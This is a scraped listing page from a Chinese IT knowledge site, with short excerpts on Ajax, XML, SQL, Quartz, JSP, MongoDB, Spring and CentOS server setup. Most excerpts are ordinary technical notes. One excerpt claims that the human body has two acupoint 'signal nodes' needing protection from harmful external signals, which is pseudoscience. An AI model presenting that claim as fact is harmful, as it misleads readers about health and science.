href="/search/ajax/1.htm">ajax</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a> <div>百度可知:表单序列化的作用是:将表单内容序列化成一个字符串,方便Ajax传递表单值给服务器。随着Ajax的出现,表单序列化成为一种常见需求序列化应满足以下几点要求:1、对表单字段和值进行url编码,使用&符号分割2、不发送表单的禁用字段3、只发送选则的复选框和单选按钮4、不发送type为“reset”和“button”的按钮functionserialize(data){letlist=[];Ob</div> </li> <li><a href="/article/102.htm" title="xml解析" target="_blank">xml解析</a> <span class="text-muted">小猪猪08</span> <a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a> <div>1、DOM解析的步奏 准备工作:    1.创建DocumentBuilderFactory的对象    2.创建DocumentBuilder对象    3.通过DocumentBuilder对象的parse(String fileName)方法解析xml文件    4.通过Document的getElem</div> </li> <li><a href="/article/229.htm" title="每个开发人员都需要了解的一个SQL技巧" target="_blank">每个开发人员都需要了解的一个SQL技巧</a> <span class="text-muted">brotherlamp</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/linux%E8%A7%86%E9%A2%91/1.htm">linux视频</a><a class="tag" taget="_blank" href="/search/linux%E6%95%99%E7%A8%8B/1.htm">linux教程</a><a class="tag" taget="_blank" href="/search/linux%E8%87%AA%E5%AD%A6/1.htm">linux自学</a><a class="tag" taget="_blank" href="/search/linux%E8%B5%84%E6%96%99/1.htm">linux资料</a> <div>  对于数据过滤而言CHECK约束已经算是相当不错了。然而它仍存在一些缺陷,比如说它们是应用到表上面的,但有的时候你可能希望指定一条约束,而它只在特定条件下才生效。 使用SQL标准的WITH CHECK OPTION子句就能完成这点,至少Oracle和SQL Server都实现了这个功能。下面是实现方式: CREATE TABLE books (   id &</div> </li> <li><a href="/article/356.htm" title="Quartz——CronTrigger触发器" target="_blank">Quartz——CronTrigger触发器</a> <span class="text-muted">eksliang</span> <a class="tag" taget="_blank" href="/search/quartz/1.htm">quartz</a><a class="tag" taget="_blank" href="/search/CronTrigger/1.htm">CronTrigger</a> <div>转载请出自出处:http://eksliang.iteye.com/blog/2208295 一.概述 CronTrigger 能够提供比 SimpleTrigger 更有具体实际意义的调度方案,调度规则基于 Cron 表达式,CronTrigger 支持日历相关的重复时间间隔(比如每月第一个周一执行),而不是简单的周期时间间隔。 二.Cron表达式介绍 1)Cron表达式规则表 Quartz</div> </li> <li><a href="/article/483.htm" title="Informatica基础" target="_blank">Informatica基础</a> <span class="text-muted">18289753290</span> <a class="tag" taget="_blank" href="/search/Informatica/1.htm">Informatica</a><a class="tag" taget="_blank" href="/search/Monitor/1.htm">Monitor</a><a class="tag" taget="_blank" href="/search/manager/1.htm">manager</a><a class="tag" taget="_blank" href="/search/workflow/1.htm">workflow</a><a class="tag" taget="_blank" href="/search/Designer/1.htm">Designer</a> <div>1. 1)PowerCenter Designer:设计开发环境,定义源及目标数据结构;设计转换规则,生成ETL映射。 2)Workflow  Manager:合理地实现复杂的ETL工作流,基于时间,事件的作业调度 3)Workflow  Monitor:监控Workflow和Session运行情况,生成日志和报告 4)Repository  Manager:</div> </li> <li><a href="/article/610.htm" title="linux下为程序创建启动和关闭的的sh文件,scrapyd为例" target="_blank">linux下为程序创建启动和关闭的的sh文件,scrapyd为例</a> <span class="text-muted">酷的飞上天空</span> <a class="tag" taget="_blank" href="/search/scrapy/1.htm">scrapy</a> <div>对于一些未提供service管理的程序  每次启动和关闭都要加上全部路径,想到可以做一个简单的启动和关闭控制的文件   下面以scrapy启动server为例,文件名为run.sh:   #端口号,根据此端口号确定PID PORT=6800 #启动命令所在目录 HOME='/home/jmscra/scrapy/' #查询出监听了PORT端口</div> </li> <li><a href="/article/737.htm" title="人--自私与无私" target="_blank">人--自私与无私</a> <span class="text-muted">永夜-极光</span> <div>            今天上毛概课,老师提出一个问题--人是自私的还是无私的,根源是什么?               从客观的角度来看,人有自私的行为,也有无私的</div> </li> <li><a href="/article/864.htm" title="Ubuntu安装NS-3 环境脚本" target="_blank">Ubuntu安装NS-3 环境脚本</a> <span class="text-muted">随便小屋</span> <a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a> <div>  将附件下载下来之后解压,将解压后的文件ns3environment.sh复制到下载目录下(其实放在哪里都可以,就是为了和我下面的命令相统一)。输入命令:   sudo ./ns3environment.sh >>result   这样系统就自动安装ns3的环境,运行的结果在result文件中,如果提示     com</div> </li> <li><a href="/article/991.htm" title="创业的简单感受" target="_blank">创业的简单感受</a> <span class="text-muted">aijuans</span> <a class="tag" taget="_blank" href="/search/%E5%88%9B%E4%B8%9A%E7%9A%84%E7%AE%80%E5%8D%95%E6%84%9F%E5%8F%97/1.htm">创业的简单感受</a> <div>        2009年11月9日我进入a公司实习,2012年4月26日,我离开a公司,开始自己的创业之旅。      今天是2012年5月30日,我忽然很想谈谈自己创业一个月的感受。 当初离开边锋时,我就对自己说:“自己选择的路,就是跪着也要把他走完”,我也做好了心理准备,准备迎接一次次的困难。我这次走出来,不管成败</div> </li> <li><a href="/article/1118.htm" title="如何经营自己的独立人脉" target="_blank">如何经营自己的独立人脉</a> <span class="text-muted">aoyouzi</span> <a class="tag" taget="_blank" href="/search/%E5%A6%82%E4%BD%95%E7%BB%8F%E8%90%A5%E8%87%AA%E5%B7%B1%E7%9A%84%E7%8B%AC%E7%AB%8B%E4%BA%BA%E8%84%89/1.htm">如何经营自己的独立人脉</a> <div>独立人脉不是父母、亲戚的人脉,而是自己主动投入构造的人脉圈。“放长线,钓大鱼”,先行投入才能产生后续产出。   现在几乎做所有的事情都需要人脉。以银行柜员为例,需要拉储户,而其本质就是社会人脉,就是社交!很多人都说,人脉我不行,因为我爸不行、我妈不行、我姨不行、我舅不行……我谁谁谁都不行,怎么能建立人脉?我这里说的人脉,是你的独立人脉。   以一个普通的银行柜员</div> </li> <li><a href="/article/1245.htm" title="JSP基础" target="_blank">JSP基础</a> <span class="text-muted">百合不是茶</span> <a class="tag" taget="_blank" href="/search/jsp/1.htm">jsp</a><a class="tag" taget="_blank" href="/search/%E6%B3%A8%E9%87%8A/1.htm">注释</a><a class="tag" taget="_blank" href="/search/%E9%9A%90%E5%BC%8F%E5%AF%B9%E8%B1%A1/1.htm">隐式对象</a> <div>  1,JSP语句的声明 <%! 声明 %>    声明:这个就是提供java代码声明变量、方法等的场所。 表达式 <%= 表达式 %>    这个相当于赋值,可以在页面上显示表达式的结果, 程序代码段/小型指令 <% 程序代码片段 %>   2,JSP的注释   <!-- --> </div> </li> <li><a href="/article/1372.htm" title="web.xml之session-config、mime-mapping" target="_blank">web.xml之session-config、mime-mapping</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/web.xml/1.htm">web.xml</a><a class="tag" taget="_blank" href="/search/servlet/1.htm">servlet</a><a class="tag" taget="_blank" href="/search/session-config/1.htm">session-config</a><a class="tag" taget="_blank" href="/search/mime-mapping/1.htm">mime-mapping</a> <div>session-config 1.定义: <session-config> <session-timeout>20</session-timeout> </session-config> 2.作用:用于定义整个WEB站点session的有效期限,单位是分钟。   mime-mapping 1.定义: <mime-m</div> </li> <li><a href="/article/1499.htm" title="互联网开放平台(1)" target="_blank">互联网开放平台(1)</a> <span class="text-muted">Bill_chen</span> <a class="tag" taget="_blank" href="/search/%E4%BA%92%E8%81%94%E7%BD%91/1.htm">互联网</a><a class="tag" taget="_blank" href="/search/qq/1.htm">qq</a><a class="tag" taget="_blank" href="/search/%E6%96%B0%E6%B5%AA%E5%BE%AE%E5%8D%9A/1.htm">新浪微博</a><a class="tag" taget="_blank" href="/search/%E7%99%BE%E5%BA%A6/1.htm">百度</a><a class="tag" taget="_blank" href="/search/%E8%85%BE%E8%AE%AF/1.htm">腾讯</a> <div>现在各互联网公司都推出了自己的开放平台供用户创造自己的应用,互联网的开放技术欣欣向荣,自己总结如下: 1.淘宝开放平台(TOP) 网址:http://open.taobao.com/ 依赖淘宝强大的电子商务数据,将淘宝内部业务数据作为API开放出去,同时将外部ISV的应用引入进来。 目前TOP的三条主线: TOP访问网站:open.taobao.com ISV后台:my.open.ta</div> </li> <li><a href="/article/1626.htm" title="【MongoDB学习笔记九】MongoDB索引" target="_blank">【MongoDB学习笔记九】MongoDB索引</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a> <div>索引 可以在任意列上建立索引 索引的构造和使用与传统关系型数据库几乎一样,适用于Oracle的索引优化技巧也适用于Mongodb 使用索引可以加快查询,但同时会降低修改,插入等的性能 内嵌文档照样可以建立使用索引 测试数据     var p1 = { "name":"Jack", "age&q</div> </li> <li><a href="/article/1753.htm" title="JDBC常用API之外的总结" target="_blank">JDBC常用API之外的总结</a> <span class="text-muted">白糖_</span> <a class="tag" taget="_blank" href="/search/jdbc/1.htm">jdbc</a> <div> 做JAVA的人玩JDBC肯定已经很熟练了,像DriverManager、Connection、ResultSet、Statement这些基本类大家肯定很常用啦,我不赘述那些诸如注册JDBC驱动、创建连接、获取数据集的API了,在这我介绍一些写框架时常用的API,大家共同学习吧。     ResultSetMetaData获取ResultSet对象的元数据信息 </div> </li> <li><a href="/article/1880.htm" title="apache VelocityEngine使用记录" target="_blank">apache VelocityEngine使用记录</a> <span class="text-muted">bozch</span> <a class="tag" taget="_blank" href="/search/VelocityEngine/1.htm">VelocityEngine</a> <div>VelocityEngine是一个模板引擎,能够基于模板生成指定的文件代码。   使用方法如下:     VelocityEngine engine = new VelocityEngine();// 定义模板引擎     Properties properties = new Properties();// 模板引擎属</div> </li> <li><a href="/article/2007.htm" title="编程之美-快速找出故障机器" target="_blank">编程之美-快速找出故障机器</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B%E4%B9%8B%E7%BE%8E/1.htm">编程之美</a> <div> package beautyOfCoding; import java.util.Arrays; public class TheLostID { /*编程之美 假设一个机器仅存储一个标号为ID的记录,假设机器总量在10亿以下且ID是小于10亿的整数,假设每份数据保存两个备份,这样就有两个机器存储了同样的数据。 1.假设在某个时间得到一个数据文件ID的列表,是</div> </li> <li><a href="/article/2134.htm" title="关于Java中redirect与forward的区别" target="_blank">关于Java中redirect与forward的区别</a> <span class="text-muted">chenbowen00</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/servlet/1.htm">servlet</a> <div>在Servlet中两种实现: forward方式:request.getRequestDispatcher(“/somePage.jsp”).forward(request, response); redirect方式:response.sendRedirect(“/somePage.jsp”); forward是服务器内部重定向,程序收到请求后重新定向到另一个程序,客户机并不知</div> </li> <li><a href="/article/2261.htm" title="[信号与系统]人体最关键的两个信号节点" target="_blank">[信号与系统]人体最关键的两个信号节点</a> <span class="text-muted">comsci</span> <a class="tag" taget="_blank" href="/search/%E7%B3%BB%E7%BB%9F/1.htm">系统</a> <div>         如果把人体看做是一个带生物磁场的导体,那么这个导体有两个很重要的节点,第一个在头部,中医的名称叫做 百汇穴, 另外一个节点在腰部,中医的名称叫做 命门         如果要保护自己的脑部磁场不受到外界有害信号的攻击,最简单的</div> </li> <li><a href="/article/2388.htm" title="oracle 存储过程执行权限" target="_blank">oracle 存储过程执行权限</a> <span class="text-muted">daizj</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E5%AD%98%E5%82%A8%E8%BF%87%E7%A8%8B/1.htm">存储过程</a><a class="tag" taget="_blank" href="/search/%E6%9D%83%E9%99%90/1.htm">权限</a><a class="tag" taget="_blank" href="/search/%E6%89%A7%E8%A1%8C%E8%80%85/1.htm">执行者</a><a class="tag" taget="_blank" href="/search/%E8%B0%83%E7%94%A8%E8%80%85/1.htm">调用者</a> <div>在数据库系统中存储过程是必不可少的利器,存储过程是预先编译好的为实现一个复杂功能的一段Sql语句集合。它的优点我就不多说了,说一下我碰到的问题吧。我在项目开发的过程中需要用存储过程来实现一个功能,其中涉及到判断一张表是否已经建立,没有建立就由存储过程来建立这张表。 CREATE OR REPLACE PROCEDURE TestProc  IS    fla</div> </li> <li><a href="/article/2515.htm" title="为mysql数据库建立索引" target="_blank">为mysql数据库建立索引</a> <span class="text-muted">dengkane</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E6%80%A7%E8%83%BD/1.htm">性能</a><a class="tag" taget="_blank" href="/search/%E7%B4%A2%E5%BC%95/1.htm">索引</a> <div>前些时候,一位颇高级的程序员居然问我什么叫做索引,令我感到十分的惊奇,我想这绝不会是沧海一粟,因为有成千上万的开发者(可能大部分是使用MySQL的)都没有受过有关数据库的正规培训,尽管他们都为客户做过一些开发,但却对如何为数据库建立适当的索引所知较少,因此我起了写一篇相关文章的念头。  最普通的情况,是为出现在where子句的字段建一个索引。为方便讲述,我们先建立一个如下的表。</div> </li> <li><a href="/article/2642.htm" title="学习C语言常见误区 如何看懂一个程序 如何掌握一个程序以及几个小题目示例" target="_blank">学习C语言常见误区 如何看懂一个程序 如何掌握一个程序以及几个小题目示例</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/c/1.htm">c</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a> <div>如果看懂一个程序,分三步   1、流程   2、每个语句的功能   3、试数   如何学习一些小算法的程序 尝试自己去编程解决它,大部分人都自己无法解决 如果解决不了就看答案 关键是把答案看懂,这个是要花很大的精力,也是我们学习的重点 看懂之后尝试自己去修改程序,并且知道修改之后程序的不同输出结果的含义 照着答案去敲 调试错误 </div> </li> <li><a href="/article/2769.htm" title="centos6.3安装php5.4报错" target="_blank">centos6.3安装php5.4报错</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/centos6/1.htm">centos6</a> <div>报错内容如下: Resolving Dependencies --> Running transaction check ---> Package php54w.x86_64 0:5.4.38-1.w6 will be installed --> Processing Dependency: php54w-common(x86-64) = 5.4.38-1.w6 for </div> </li> <li><a href="/article/2896.htm" title="JSONP请求" target="_blank">JSONP请求</a> <span class="text-muted">flyer0126</span> <a class="tag" taget="_blank" href="/search/jsonp/1.htm">jsonp</a> <div>      使用jsonp不能发起POST请求。 It is not possible to make a JSONP POST request. JSONP works by creating a <script> tag that executes Javascript from a different domain; it is not pos</div> </li> <li><a href="/article/3023.htm" title="Spring Security(03)——核心类简介" target="_blank">Spring Security(03)——核心类简介</a> <span class="text-muted">234390216</span> <a class="tag" taget="_blank" href="/search/Authentication/1.htm">Authentication</a> <div>核心类简介 目录 1.1     Authentication 1.2     SecurityContextHolder 1.3     AuthenticationManager和AuthenticationProvider 1.3.1  &nb</div> </li> <li><a href="/article/3150.htm" title="在CentOS上部署JAVA服务" target="_blank">在CentOS上部署JAVA服务</a> <span class="text-muted">java--hhf</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/jdk/1.htm">jdk</a><a class="tag" taget="_blank" href="/search/centos/1.htm">centos</a><a class="tag" taget="_blank" href="/search/Java%E6%9C%8D%E5%8A%A1/1.htm">Java服务</a> <div>    本文将介绍如何在CentOS上运行Java Web服务,其中将包括如何搭建JAVA运行环境、如何开启端口号、如何使得服务在命令执行窗口关闭后依旧运行     第一步:卸载旧Linux自带的JDK ①查看本机JDK版本 java -version    结果如下 java version "1.6.0"</div> </li> <li><a href="/article/3277.htm" title="oracle、sqlserver、mysql常用函数对比[to_char、to_number、to_date]" target="_blank">oracle、sqlserver、mysql常用函数对比[to_char、to_number、to_date]</a> <span class="text-muted">ldzyz007</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/SQL+Server/1.htm">SQL Server</a> <div>oracle                                &n</div> </li> <li><a href="/article/3404.htm" title="记Protocol Oriented Programming in Swift of WWDC 2015" target="_blank">记Protocol Oriented Programming in Swift of WWDC 2015</a> <span class="text-muted">ningandjin</span> <a class="tag" taget="_blank" href="/search/protocol/1.htm">protocol</a><a class="tag" taget="_blank" href="/search/WWDC+2015/1.htm">WWDC 2015</a><a class="tag" taget="_blank" href="/search/Swift2.0/1.htm">Swift2.0</a> <div>其实最先朋友让我就这个题目写篇文章的时候,我是拒绝的,因为觉得苹果就是在炒冷饭, 把已经流行了数十年的OOP中的“面向接口编程”还拿来讲,看完整个Session之后呢,虽然还是觉得在炒冷饭,但是毕竟还是加了蛋的,有些东西还是值得说说的。 通常谈到面向接口编程,其主要作用是把系统设计和具体实现分离开,让系统的每个部分都可以在不影响别的部分的情况下,改变自身的具体实现。接口的设计就反映了系统</div> </li> <li><a href="/article/3531.htm" title="搭建 CentOS 6 服务器(15) - Keepalived、HAProxy、LVS" target="_blank">搭建 CentOS 6 服务器(15) - Keepalived、HAProxy、LVS</a> <span class="text-muted">rensanning</span> <a class="tag" taget="_blank" href="/search/keepalived/1.htm">keepalived</a> <div>(一)Keepalived (1)安装 # cd /usr/local/src # wget http://www.keepalived.org/software/keepalived-1.2.15.tar.gz # tar zxvf keepalived-1.2.15.tar.gz # cd keepalived-1.2.15 # ./configure # make &a</div> </li> <li><a href="/article/3658.htm" title="ORACLE数据库SCN和时间的互相转换" target="_blank">ORACLE数据库SCN和时间的互相转换</a> <span class="text-muted">tomcat_oracle</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a> <div>SCN(System Change Number 简称 SCN)是当Oracle数据库更新后,由DBMS自动维护去累积递增的一个数字,可以理解成ORACLE数据库的时间戳,从ORACLE 10G开始,提供了函数可以实现SCN和时间进行相互转换;    用途:在进行数据库的还原和利用数据库的闪回功能时,进行SCN和时间的转换就变的非常必要了;    操作方法:   1、通过dbms_f</div> </li> <li><a href="/article/3785.htm" title="Spring MVC 方法注解拦截器" target="_blank">Spring MVC 方法注解拦截器</a> <span class="text-muted">xp9802</span> <a class="tag" taget="_blank" href="/search/spring+mvc/1.htm">spring mvc</a> <div>应用场景,在方法级别对本次调用进行鉴权,如api接口中有个用户唯一标示accessToken,对于有accessToken的每次请求可以在方法加一个拦截器,获得本次请求的用户,存放到request或者session域。 python中,之前在python flask中可以使用装饰器来对方法进行预处理,进行权限处理 先看一个实例,使用@access_required拦截: ? </div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>